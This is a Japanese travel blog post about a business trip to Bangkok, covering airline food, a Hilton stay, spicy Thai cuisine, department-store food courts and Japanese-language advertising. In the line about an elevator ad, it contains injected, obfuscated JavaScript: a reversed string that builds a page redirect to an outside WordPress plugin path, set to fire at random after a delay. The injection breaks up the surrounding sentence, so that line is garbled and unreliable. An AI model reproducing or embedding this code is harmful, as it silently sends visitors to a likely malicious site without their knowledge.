バンコクに出張してきました。
航空便は、タイ国際空港。行きの機内食は「マッサマンカレー」もしくは「かつ丼」。
CAの方の英語「KATSU-DOU」がまったく聞き取れず、カレーを選択。まさかのカツ丼。
「KATSU-DOU」は帰国するタイ人のためのメニューなのでしょう。
宿泊先は、プロンポン駅近く。たまたま安かったので、日本では泊まることのない(高くて泊まれない)ヒルトンに。エレベーターの企業広告「Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top clicking around」。高いステータスの顧客がターゲットであるだろうヒルトンっぽい「大人な」広告。
せっかくのタイなので「本場のスパイシーなものを食べるぞ!」と意気込み、挑戦しましたが、容赦なく辛い。ちょっとやそっとでは歯が立たない辛さ。美味しいんですが、日本人には厳しいのかも。
滞在中の食事は、ガイドブックでも推薦しているデパートのフードコートによく行きました。現地の日本人もおすすめしていたぐらい。行ったのは、エンポリアム、ピア21、MBK。特にピア21は値段も激安で、店舗の種類も多い。現地のタイ人から各国の観光客でにぎわっていました。
バンコクの中でも、都市部で主に行動をしていたので日本人や中国人、欧米人とさまざまな観光客を見かけました。バンコクが世界的な観光地であることを実感。デパートに出店しているブランドは、日本と遜色なく、店舗の規模やゴージャスさでは、逆に負けているのかもしれません。
日本の郊外型ショッピングセンターの規模で高級ブランドが展開されていました。
BSTという電車の中では、CMが流れていますが、タイ語に加え、英語、そして日本語も頻出していました。どうやら「高級感」を演出するために、日本語表記をしているよう。とういうことは、日本の好感度も高いのでしょう。タイから日本に来る観光客も多いとのこと。内部にいるとわからない、日本のステータスを感じました。